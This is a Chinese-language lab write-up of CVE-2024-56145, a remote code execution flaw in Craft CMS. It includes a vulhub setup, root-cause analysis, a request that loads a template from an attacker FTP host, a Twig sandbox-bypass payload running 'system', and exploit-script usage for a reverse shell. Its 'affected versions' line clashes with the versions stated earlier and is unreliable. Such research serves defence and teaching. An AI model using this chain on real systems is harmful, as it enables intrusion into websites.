漏洞介绍
Craft CMS是一个灵活且用户友好的内容管理系统,用于构建网站和应用程序。CVE-2024-56145是一个模板注入导致的远程代码执行漏洞,攻击者可以在受影响的系统上执行恶意命令,可能造成严重的安全威胁。
CraftCMS 5.5.2 和 4.13.2 之前的版本存在潜在的远程代码执行漏洞。当 PHP 环境启用 register_argc_argv 时,CraftCMS 会错误地从 HTTP 请求中读取配置项,攻击者可以使用 --templatesPath 控制模板文件,并利用模板注入导致任意代码执行。
漏洞范围
1 | Craft CMS <3.9.14 |
漏洞靶场
使用vulhub的靶场:
vulhub-master/craftcms/CVE-2024-56145
使用版本为CraftCMS 5.5.1.1
启动靶场环境:
1 | docker-compose up -d |
服务器启动后,你可以在 http://<your-ip>:8088/admin/install 看到安装页面。请按照说明安装 CraftCMS,默认数据库地址为 db,用户名和密码均为 root。

漏洞原理
register_argc_argv 101
任何熟悉开发用于命令行的PHP的开发者都会熟悉$_SERVER['argc']和$_SERVER['argv']。正如你可能猜到的,这些是特殊变量,当运行PHP脚本时,它们会被填充为传递的命令行参数。例如,如果你写一个简单的PHP脚本:
1 | var_dump($_SERVER['argv']); |
然后运行php test.php foo bar baz,你将得到:
1 | array(4) { |
这应该对有C背景的人来说很熟悉。但是如果你在Web服务器上托管这个文件呢?这由register_argc_argv配置变量在php.ini中控制。在PHP的默认配置中,register_argc_argv是开启的,PHP实际上会从查询字符串中获取argv,以空格分隔:
1 | GET /test.php?foo+bar+baz |
然而,填充这个变量会带来性能损失,而且大多数Web应用程序不需要以这种方式获取参数。因此,大多数发行版和共享主机也会配置这个设置为关闭。如果register_argc_argv是关闭的,$_SERVER['argv']将不会被填充。如果你在本地环境中安装了PHP,并且现在测试这个,很可能$_SERVER['argv']将只是NULL。
如果你是一个开发者,想要测试一个文件是通过命令行还是通过Web执行的,你可能会被诱惑使用这样的测试:
1 | if (isset($_SERVER['argv'])) { |
这在某些时候会奏效!但它只有在register_argc_argv被设置为关闭时才会奏效。如果你在这个代码上在PHP的默认安装的Web服务器上运行,并且传递查询字符串,这个代码会认为它是在CLI下运行的。关键在于,Craft CMS的官方Docker配置了register_argc_argv = On。这为我们发现的漏洞埋下了伏笔。
定位漏洞
当请求Craft CMS应用程序的任何路径时,加载的非常早的文件之一是bootstrap/bootstrap.php。由于这个文件既引导了Craft CMS的Web部分,也引导了craft控制台命令,因此它会检查是否传递了一些命令行选项:
1 | $findConfig = function(string $cliName, string $envName) { |
vendor/craftcms/cms/bootstrap/bootstrap.php#L30-L47
这将实际的检查委托给了App::cliOption,它看起来是这样的:
1 | public static function cliOption(string $name, bool $unset = false): string|float|int|bool|null |
vendor/craftcms/cms/src/helpers/App.php#L280-L324
这个函数根本没有检查我们是否真的在CLI中,这意味着我们可以通过查询字符串设置这些选项!作为一个快速检查,传递一个查询字符串如?--configPath=/aaa将迫使Craft CMS在不可访问的位置查找配置文件——在易受攻击的网站上,它看起来会是这样:

利用漏洞
这个漏洞本身并不深,可以相当快地跟踪和验证。但通向远程代码执行(RCE)的路径并不明显。作为安全研究人员,我们的直觉是,这个漏洞感觉像是RCE,但这里没有简单的胜利,因为我们只控制加载文件的前缀。在这一点上,我们尝试了几个“标准”选项,将本质上是任意包含升级为RCE。
Craft CMS在授权前没有明显的方式上传文件,所以上传恶意的.env似乎是不可能的。可能有一种方式通过PHP_SESSION_UPLOAD_PROGRESS技巧,这已经被广泛记录,但不清楚序列化格式如何作为dotenv文件工作,而且我们希望尽可能避免混乱的竞态条件。
下一个选项是用configPath或templatesPath做点什么。这两个都加载可执行代码。控制加载路径的前缀,我们的第一直觉是使用http包装器远程包含一个文件,这可以执行代码。想法很简单:如果我们提供一个前缀如http://malicious.example.com/,那么服务器将请求一个文件如http://malicious.example.com/config/default.php,这完全在我们的控制之下。然而,在configPath和templatesPath的情况下,Craft CMS会防御性地检查文件在加载之前是否存在,检查如下:
1 | $path = $this->getConfigFilePath($filename); |
vendor/craftcms/cms/src/services/Config.php#L272-L276
根据PHP文档,file_exists不支持http包装器(它属于stat()),所以这个检查将始终失败。

如果你跟随当前流行的PHP利用趋势,你可能会想,我们是否可以使用一些php://filter技巧,但这也行不通,原因相同;php包装器不支持stat(),所以在加载任何东西之前,file_exists检查将始终失败。
到目前为止,使用包装器的当前障碍是,我们考虑的没有一个支持任何file_exists调用。那么哪些包装器支持这些调用呢?按照标准支持的包装器列表,并查看每个的文档:
file://支持stat(),但这显然没有帮助;phar://也支持stat(),但我们无法轻松地将有效的PHAR文件走私到文件系统上;ftp://确实支持一些文件系统调用,包括file_exists;有趣…

我们不能使用FTP包装器来包含配置文件,因为这最终会调用include,而FTP包装器被allow_url_include安全功能阻止。但我们可以用它来包含模板,这仅仅是通过简单的file_get_contents调用读取的。
为了测试,如果你请求Craft CMS应用程序的根路径,它将尝试加载default/index.twig。所以我们创建了一个允许匿名访问的FTP服务器,并提供了一个index.twig,内容如下:
1 | hello world {{7*7}} |
确实,我们可以看到Craft CMS加载了我们提供的文件,包括模板:
1 | GET /?--templatesPath=ftp://a:a@our.malicious.server:2121/ HTTP/1.1 |
从这里开始,任务几乎变得简单,除了还有一个小障碍;如果你简单地粘贴一个Twig模板注入,比如以下内容,你可能会发现它似乎不奏效:
1 | {{ ['id'] | filter('system') }} |
这是因为Craft CMS试图对Twig模板渲染器进行一些沙箱处理,以保护免受恶意管理员用户(或可能在共享托管环境中)的攻击。作为其中的一部分,他们在src/web/twig/Extension.php中实现了一个检查,针对任何以函数名为参数的过滤器:
1 | private static function checkArrowFunction(mixed $arrow, string $thing, string $type): void |
vendor/craftcms/cms/src/web/twig/Extension.php#L117-L131
然而,这当然并不是通过模板利用的真正障碍。有多种方法可以绕过这个限制,但我们使用了sort过滤器,它接受一个有两个参数的函数,并传递了以下内容:
1 | {{ ['system', 'id'] | sort('call_user_func') }} |
由于call_user_func被用作排序函数,它将被调用来比较'system'和'id',执行call_user_func('system', 'id')。这将调用system('id'),而不会直接将系统函数传递给过滤器。在我们的FTP主机上编辑文件以包含此有效载荷后,我们观察到我们已经实现了远程代码执行!

漏洞复现
要复现该漏洞,需要准备一个包含以下内容的 index.twig 文件并放置在任意远程服务器上:
1 | {{ ['system', 'id'] | sort('call_user_func') | join('') }} |
然后在 index.twig 文件所在的服务器中启动一个 FTP 服务器:
1 | # 安装 pyftpdlib |

然后你可以通过发送以下请求来利用该漏洞:
1 | http://<your-ip>:8088/?--templatesPath=ftp://<evil-ip>:21212/ |

id 命令被成功执行并返回了结果。
exp使用
https://github.com/Chocapikk/CVE-2024-56145/tree/main
1 | python exploit.py exploit -u <TARGET_URL> -lh <LOCAL_HOST> -lp <LOCAL_PORT> -fh <FTP_HOST> -px <PAYLOAD_TYPE> |

成功反弹shell
参考
https://github.com/vulhub/vulhub/blob/master/craftcms/CVE-2024-56145/README.zh-cn.md
https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms